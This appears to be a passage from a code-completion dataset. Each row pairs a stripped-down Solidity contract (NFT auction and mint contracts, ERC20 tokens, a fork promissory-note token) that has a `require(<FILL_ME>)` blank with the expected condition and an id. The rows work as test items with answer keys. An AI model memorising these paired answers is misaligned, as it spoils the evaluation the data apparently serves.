uint256 private iPrice = 100000000000000000; // 20%
uint256 private drops;
uint256 private scanOwnerShare = 100;
uint256 private sharePool;
bytes32[3] private baseURI;
bool isOpen;
// Faire un Emit pour les mint des NFT, quand il y a un event faire la création du token
event scanMint(uint256 auctionId, uint256 tokenId);
event bidChanged(uint256 auctionId);
constructor(address _operator) ERC721("SCANNERS V1.2", "SCANS") {
}
modifier onlyAllowed() {
}
modifier onlyOwner() {
}
function addAuction(uint256 _aid, address _scanOwner) external onlyAllowed {
}
function directBuy(uint256 _aid) public payable {
}
function bid(uint256 _aid) public payable {
}
function claimAuction(uint256 _aid) public {
}
function distributeShares() public onlyOwner {
}
function dropScan(address _winner, uint256 dropId) public onlyAllowed {
}
function setAuctionPrice(uint256 _nPrice) public onlyOwner {
}
function setDirectBuyPrice(uint256 _nPrice) public onlyOwner {
}
function setScanOwnerShare(uint256 _sos) public onlyOwner {
}
function setDistributor(address _nadr) public onlyAllowed {
}
function setOperator(address _nop) public onlyAllowed {
}
function setBaseURI(string calldata m1, string calldata m2, string calldata m3) external onlyAllowed {
}
function closeContract() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function transferTo(address _to, uint256 _value) internal {
}
function updatePools(uint256 _v, address _sowner) internal {
}
function mintscan(address _to, uint256 _aid) internal {
}
function getowner() public view virtual returns (address) {
}
function getoperator() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
require(<FILL_ME>)
}
function checkCaller() internal view virtual {
}
receive() external payable {}
fallback() external payable {}
}
| getowner()==_msgSender(),"Only Owner" | 509,699 | getowner()==_msgSender() |
"Only Allowed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SCANNERSV12 is ERC721 {
using Strings for uint256;
using Counters for Counters.Counter;
struct Adata {
uint256 closingTime;
uint256 startTime;
uint256 bidvalue;
address winner;
address scanOwner;
}
mapping(uint256 => Adata) public auctions;
Counters.Counter public scanIDs;
address public ebbdistributor = 0x02Ac45C33F71022B4b91aA10Aabd2E15770Cb95C;
address private owner;
address private operator;
// 0.08
uint256 public mPrice = 80000000000000000;
uint256 private iPrice = 100000000000000000; // 20%
uint256 private drops;
uint256 private scanOwnerShare = 100;
uint256 private sharePool;
bytes32[3] private baseURI;
bool isOpen;
// Faire un Emit pour les mint des NFT, quand il y a un event faire la création du token
event scanMint(uint256 auctionId, uint256 tokenId);
event bidChanged(uint256 auctionId);
constructor(address _operator) ERC721("SCANNERS V1.2", "SCANS") {
}
modifier onlyAllowed() {
}
modifier onlyOwner() {
}
function addAuction(uint256 _aid, address _scanOwner) external onlyAllowed {
}
function directBuy(uint256 _aid) public payable {
}
function bid(uint256 _aid) public payable {
}
function claimAuction(uint256 _aid) public {
}
function distributeShares() public onlyOwner {
}
function dropScan(address _winner, uint256 dropId) public onlyAllowed {
}
function setAuctionPrice(uint256 _nPrice) public onlyOwner {
}
function setDirectBuyPrice(uint256 _nPrice) public onlyOwner {
}
function setScanOwnerShare(uint256 _sos) public onlyOwner {
}
function setDistributor(address _nadr) public onlyAllowed {
}
function setOperator(address _nop) public onlyAllowed {
}
function setBaseURI(string calldata m1, string calldata m2, string calldata m3) external onlyAllowed {
}
function closeContract() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function transferTo(address _to, uint256 _value) internal {
}
function updatePools(uint256 _v, address _sowner) internal {
}
function mintscan(address _to, uint256 _aid) internal {
}
function getowner() public view virtual returns (address) {
}
function getoperator() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function checkCaller() internal view virtual {
require(<FILL_ME>)
}
receive() external payable {}
fallback() external payable {}
}
| getoperator()==msg.sender||getowner()==msg.sender,"Only Allowed" | 509,699 | getoperator()==msg.sender||getowner()==msg.sender |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
interface ERC1363PARTIAL {
function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes calldata _extraData) external;
function tokenFallback(address _sender, uint256 _value, bytes calldata _extraData) external returns (bool);
}
/* Token is a straight OpenZepplin implementation with the added features
ApproveAndCall, TransferAndCall to facilitate better DeFi Interactions With compatible Contracts
*/
/// @custom:security-contact security@espcoin.io
contract WSTFXtoken is ERC20, ERC20Burnable, Pausable, AccessControl, ERC20Permit {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
constructor() ERC20("Wall Street FX Token", "WSTFX") ERC20Permit("Wall Street FX Token") {
}
function pause() public onlyRole(PAUSER_ROLE) {
}
function unpause() public onlyRole(PAUSER_ROLE) {
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
}
function transfer(address recipient, uint256 amount) public override virtual returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function approveAndCall(address _recipient, uint256 _value, bytes calldata _extraData) public returns (bool) {
}
function transferAndCall(address _recipient, uint256 _value, bytes calldata _extraData) public returns (bool) {
transfer(_recipient, _value);
require(<FILL_ME>)
return true;
}
}
| ERC1363PARTIAL(_recipient).tokenFallback(msg.sender,_value,_extraData) | 509,713 | ERC1363PARTIAL(_recipient).tokenFallback(msg.sender,_value,_extraData) |
"Will exceed maximum supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./openzeppelin/contracts/token/ERC721/ERC721.sol";
import "./openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "./openzeppelin/contracts/access/Ownable.sol";
import "./openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./openzeppelin/contracts/utils/Counters.sol";
contract GalaKnights is ERC721, ERC721Royalty, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
// Constants
uint128 public constant MAX_PURCHASE_AMOUNT = 10;
uint128 public constant MAX_SUPPLY = 5000;
string public constant PROVENANCE_HASH = "b5df6f6d2763ca8444168bb863612e11714af14ba8f085ed047562b06dee473a";
uint256 public constant TOKEN_PRICE = 0.05 ether;
// Public variables
bool public isOnSale = false;
string public baseTokenURI;
uint256 public revealTimestamp;
uint256 public startingIndex;
uint256 public startingIndexBlock;
address public withdrawalAddress;
// Private variables
string private _contractURI;
Counters.Counter private _currentTokenId;
// Constructor
constructor(address _withdrawalAddress,
uint96 royaltyFee,
uint256 _revealTimestamp,
string memory _baseTokenURI,
string memory _initialContractURI) ERC721("GalaKnights", "KNIGHT") {
}
// Accessors
function setIsOnSale(bool _isOnSale) public onlyOwner {
}
function setWithdrawalAddress(address _withdrawalAddress) public onlyOwner {
}
function setRevealTimestamp(uint256 _revealTimestamp) public onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
// Metadata
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function setContractURI(string memory uri) public onlyOwner {
}
// Minting
function mintToken(uint256 tokenCount) public payable nonReentrant {
}
function ownerMintToken(uint256 tokenCount) public onlyOwner {
}
function _finalMint(address to, uint256 tokenCount) private {
require(<FILL_ME>)
for (uint256 i = 1; i <= tokenCount; i++) {
_currentTokenId.increment();
_safeMint(to, _currentTokenId.current());
}
if (startingIndexBlock == 0 && (_currentTokenId.current() == MAX_SUPPLY || block.timestamp >= revealTimestamp)) {
startingIndexBlock = block.number;
}
}
// Starting Index
function setStartingIndex() public {
}
// In case startingIndex was not set automatically
function emergencySetStartingIndexBlock() public onlyOwner {
}
// Withdraw
function withdraw() public onlyOwner nonReentrant {
}
// Royalties
function setRoyalties(address recipient, uint96 fraction) external onlyOwner {
}
// ERC721Royalty overrides
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Royalty) returns (bool) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721Royalty) {
}
}
| _currentTokenId.current()+tokenCount<=MAX_SUPPLY,"Will exceed maximum supply" | 509,810 | _currentTokenId.current()+tokenCount<=MAX_SUPPLY |
"Not authorized to trade yet" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract PulseChimp is ERC20, Ownable {
// Events
event SetMaxWallet(uint256 maxWalletToken);
event SetFees(uint256 DevFee);
event SetSwapBackSettings(bool enabled, uint256 swapThreshold);
event SetIsFeeExempt(address holder, bool enabled);
event SetIsTxLimitExempt(address holder, bool enabled);
event SetFeeReceiver(address DevWallet);
event StuckBalanceSent(uint256 amountETH, address recipient);
// Mappings
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
// Basic Contract Info
string constant _name = "PulseChimp";
string constant _symbol = "PIMP";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1000000 * (10 ** _decimals);
// Max wallet
uint256 public _maxWalletSize = (_totalSupply * 10) / 1000;
uint256 public _maxTxSize = (_totalSupply * 5) / 1000;
// Fee receiver
uint256 public DevFeeBuy = 20;
uint256 public MarketingFeeBuy = 20;
uint256 public LiquidityFeeBuy = 10;
uint256 public DevFeeSell = 20;
uint256 public MarketingFeeSell = 20;
uint256 public LiquidityFeeSell = 10;
uint256 public TotalBase = DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell + LiquidityFeeBuy + LiquidityFeeSell;
// Fee receiver & Dead Wallet
address public DevWallet;
address public MarketingWallet = 0xBFADb6a3C1DE2dBf0A68181E07842435eB40badb;
address constant private DEAD = 0x000000000000000000000000000000000000dEaD;
// Router
IDEXRouter public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000 * 3; // 0.3%
bool public isTradingEnabled = false;
address public tradingEnablerRole;
uint256 public tradingTimestamp;
bool inSwap;
modifier swapping() { }
constructor() Ownable(msg.sender) {
}
receive() external payable { }
// Basic Internal Functions
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
////////////////////////////////////////////////
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function getPair() public onlyOwner {
}
function renounceTradingEnablerRole() public {
}
function setIsTradingEnabled(bool _isTradingEnabled) public {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount);}
require(<FILL_ME>)
// Checks max transaction limit
if (sender != owner && sender != MarketingWallet && recipient != owner && recipient != DEAD && recipient != pair) {
require(isTxLimitExempt[recipient] || (amount <= _maxTxSize && _balances[recipient] + amount <= _maxWalletSize), "Transfer amount exceeds the MaxWallet size.");
}
//Exchange tokens
if(shouldSwapBack()){swapBack();}
_balances[sender] = _balances[sender] - amount;
//Check if should Take Fee
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
// Internal Functions
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function addLiquidity(uint256 _tokenBalance, uint256 _ETHBalance) private {
}
function swapBack() internal swapping {
}
// External Functions
function setMaxWalletAndTx(uint256 _maxWalletSize_, uint256 _maxTxSize_) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setFees(uint256 _DevFeeBuy, uint256 _MarketingFeeBuy, uint256 _LiquidityFeeBuy,
uint256 _DevFeeSell, uint256 _MarketingFeeSell, uint256 _LiquidityFeeSell) external onlyOwner {
}
function setFeeReceiver(address _DevWallet, address _MarketingWallet) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
}
function initSwapBack() public onlyOwner {
}
// Stuck Balance Function
function ClearStuckBalance() external onlyOwner {
}
function withdrawToken(address _token) public onlyOwner {
}
function getSelfAddress() public view returns(address) {
}
}
| isFeeExempt[sender]||isFeeExempt[recipient]||isTradingEnabled,"Not authorized to trade yet" | 509,847 | isFeeExempt[sender]||isFeeExempt[recipient]||isTradingEnabled |
"NO_BAL" | // SPDX-License-Identifier: Apache 2.
// source can be found at: https://github.com/twtaylor/ethw-promissory-note
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./IWETH.sol";
pragma solidity 0.8.17;
contract wETHPow is ERC20 {
address public immutable WETH;
mapping(address => uint256) public originalOwnerNotes;
event Mint(address indexed sender, uint256 amount);
constructor(address _WETH) ERC20("ETHw Promissory Note", "wETHPow") {
}
modifier isEthereumMainnetPreFork() {
}
modifier isEthereumMainnetPostFork() {
}
modifier isEthereumWPostFork() {
}
function mint(uint256 amount) public isEthereumMainnetPreFork() {
}
function mintWithEth() public payable isEthereumMainnetPreFork() {
}
function __mint(address orig, uint256 amount) internal {
}
// post-fork chainid = 1 burn
function burnPostForkOnEth(address to, uint256 amount) public isEthereumMainnetPostFork() {
require(<FILL_ME>)
originalOwnerNotes[msg.sender] -= amount;
assert(IWETH(WETH).transfer(to, amount));
}
// post-fork chainid = 10001 burn
function burnPostForkOnEthW(address to, uint256 amount) public isEthereumWPostFork() {
}
// pre-fork chainid = 1 burn
function burnPreForkOnEth(address to, uint256 amount) public isEthereumMainnetPreFork() {
}
}
| originalOwnerNotes[msg.sender]>=amount,"NO_BAL" | 509,890 | originalOwnerNotes[msg.sender]>=amount |
"wrong amt" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
pragma solidity ^0.8.0;
/// @title EIP-721 Metadata Update Extension
interface IERC4906 is IERC721A {
/// @dev This event emits when the metadata of a token is changed.
/// Third-party platforms such as NFT marketplaces can listen to
/// the event and auto-update the tokens in their apps.
event MetadataUpdate(uint256 _tokenId);
}
pragma solidity ^0.8.18;
library utils {
function uint2str(
uint _i
) internal pure returns (string memory _uintAsString) {
}
//
function random(uint input, uint min, uint max) internal pure returns (uint) {
}
}
pragma solidity ^0.8.18;
library svgInfo {
function renderSvg(uint amtValues,uint tokenId) internal pure returns (string memory svg) {
}
}
pragma solidity ^0.8.18;
contract NFT20 is ERC721A, Ownable, IERC4906 {
uint public price = 1000000000000000; //.001 eth
bool public iscombineTransfer = false;
uint256 public maxSupply = 20000; //max_supply
uint256 public maxPublicSupply = 19000; //max_supply
uint256 public maxFreeSupply = 4000;
bool public mintEnabled = false;
uint256 public maxFreePerTx = 2;
uint256 public maxPerTx = 20;
mapping(uint => uint) transferIn;
mapping(uint => uint) transferOut;
mapping(uint => uint) amtValues;
mapping(uint => bool) isBurned;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("NFT20 Wei", "NFT20") {}
function mint(uint quantity, uint amt) public payable {
require(<FILL_ME>)
require(tx.origin == msg.sender);
uint amtq = amt / 1000;
require(msg.value >= quantity * price * amtq, "not enough eth");
for (uint i = totalSupply(); i < totalSupply() + quantity; i++) {
amtValues[i + 1] = amt;
}
handleMint(msg.sender, quantity);
}
function freeMint(uint quantity) public {
}
function handleMint(address recipient, uint quantity) internal {
}
function teamMint(uint quantity, uint amt, address recipient) public onlyOwner{
}
function combineTransfer(uint from, uint to, uint value) public{
}
function getValue(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function flipMint() external onlyOwner {
}
function getMetadata(uint tokenId, uint value, uint tIn, uint tOut) internal pure returns (string memory) {
}
function mintCount() public view returns (uint) {
}
function burned() public view returns (uint) {
}
function toggleCombineTransfer() public onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| amt%1000==0&&amt>0&&amt<=10000,"wrong amt" | 509,947 | amt%1000==0&&amt>0&&amt<=10000 |
"limit free amounts" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
pragma solidity ^0.8.0;
/// @title EIP-721 Metadata Update Extension
interface IERC4906 is IERC721A {
/// @dev This event emits when the metadata of a token is changed.
/// Third-party platforms such as NFT marketplaces can listen to
/// the event and auto-update the tokens in their apps.
event MetadataUpdate(uint256 _tokenId);
}
pragma solidity ^0.8.18;
library utils {
function uint2str(
uint _i
) internal pure returns (string memory _uintAsString) {
}
//
function random(uint input, uint min, uint max) internal pure returns (uint) {
}
}
pragma solidity ^0.8.18;
library svgInfo {
function renderSvg(uint amtValues,uint tokenId) internal pure returns (string memory svg) {
}
}
pragma solidity ^0.8.18;
contract NFT20 is ERC721A, Ownable, IERC4906 {
uint public price = 1000000000000000; //.001 eth
bool public iscombineTransfer = false;
uint256 public maxSupply = 20000; //max_supply
uint256 public maxPublicSupply = 19000; //max_supply
uint256 public maxFreeSupply = 4000;
bool public mintEnabled = false;
uint256 public maxFreePerTx = 2;
uint256 public maxPerTx = 20;
mapping(uint => uint) transferIn;
mapping(uint => uint) transferOut;
mapping(uint => uint) amtValues;
mapping(uint => bool) isBurned;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("NFT20 Wei", "NFT20") {}
function mint(uint quantity, uint amt) public payable {
}
function freeMint(uint quantity) public {
require(<FILL_ME>)
require(quantity <= maxFreePerTx, "limit free per tx");
require(totalSupply() + quantity < maxFreeSupply + 1, "not enough free mints");
require(tx.origin == msg.sender);
for (uint i = totalSupply(); i < totalSupply() + quantity; i++) {
amtValues[i + 1] = 1000;
}
_mintedFreeAmount[msg.sender] += quantity;
handleMint(msg.sender, quantity);
}
function handleMint(address recipient, uint quantity) internal {
}
function teamMint(uint quantity, uint amt, address recipient) public onlyOwner{
}
function combineTransfer(uint from, uint to, uint value) public{
}
function getValue(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function flipMint() external onlyOwner {
}
function getMetadata(uint tokenId, uint value, uint tIn, uint tOut) internal pure returns (string memory) {
}
function mintCount() public view returns (uint) {
}
function burned() public view returns (uint) {
}
function toggleCombineTransfer() public onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| _mintedFreeAmount[msg.sender]+quantity<=maxFreePerTx,"limit free amounts" | 509,947 | _mintedFreeAmount[msg.sender]+quantity<=maxFreePerTx |
"not enough free mints" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
pragma solidity ^0.8.0;
/// @title EIP-721 Metadata Update Extension
interface IERC4906 is IERC721A {
/// @dev This event emits when the metadata of a token is changed.
/// Third-party platforms such as NFT marketplaces can listen to
/// the event and auto-update the tokens in their apps.
event MetadataUpdate(uint256 _tokenId);
}
pragma solidity ^0.8.18;
library utils {
function uint2str(
uint _i
) internal pure returns (string memory _uintAsString) {
}
//
function random(uint input, uint min, uint max) internal pure returns (uint) {
}
}
pragma solidity ^0.8.18;
library svgInfo {
function renderSvg(uint amtValues,uint tokenId) internal pure returns (string memory svg) {
}
}
pragma solidity ^0.8.18;
contract NFT20 is ERC721A, Ownable, IERC4906 {
uint public price = 1000000000000000; //.001 eth
bool public iscombineTransfer = false;
uint256 public maxSupply = 20000; //max_supply
uint256 public maxPublicSupply = 19000; //max_supply
uint256 public maxFreeSupply = 4000;
bool public mintEnabled = false;
uint256 public maxFreePerTx = 2;
uint256 public maxPerTx = 20;
mapping(uint => uint) transferIn;
mapping(uint => uint) transferOut;
mapping(uint => uint) amtValues;
mapping(uint => bool) isBurned;
mapping(address => uint256) private _mintedFreeAmount;
constructor() ERC721A("NFT20 Wei", "NFT20") {}
function mint(uint quantity, uint amt) public payable {
}
function freeMint(uint quantity) public {
require(_mintedFreeAmount[msg.sender] + quantity <= maxFreePerTx,"limit free amounts");
require(quantity <= maxFreePerTx, "limit free per tx");
require(<FILL_ME>)
require(tx.origin == msg.sender);
for (uint i = totalSupply(); i < totalSupply() + quantity; i++) {
amtValues[i + 1] = 1000;
}
_mintedFreeAmount[msg.sender] += quantity;
handleMint(msg.sender, quantity);
}
function handleMint(address recipient, uint quantity) internal {
}
function teamMint(uint quantity, uint amt, address recipient) public onlyOwner{
}
function combineTransfer(uint from, uint to, uint value) public{
}
function getValue(uint256 tokenId) public view returns (uint) {
}
function tokenURI(uint256 tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function flipMint() external onlyOwner {
}
function getMetadata(uint tokenId, uint value, uint tIn, uint tOut) internal pure returns (string memory) {
}
function mintCount() public view returns (uint) {
}
function burned() public view returns (uint) {
}
function toggleCombineTransfer() public onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| totalSupply()+quantity<maxFreeSupply+1,"not enough free mints" | 509,947 | totalSupply()+quantity<maxFreeSupply+1 |
"no more left" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides a set of functions to operate with Base64 strings.
*
* _Available since v4.5._
*/
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
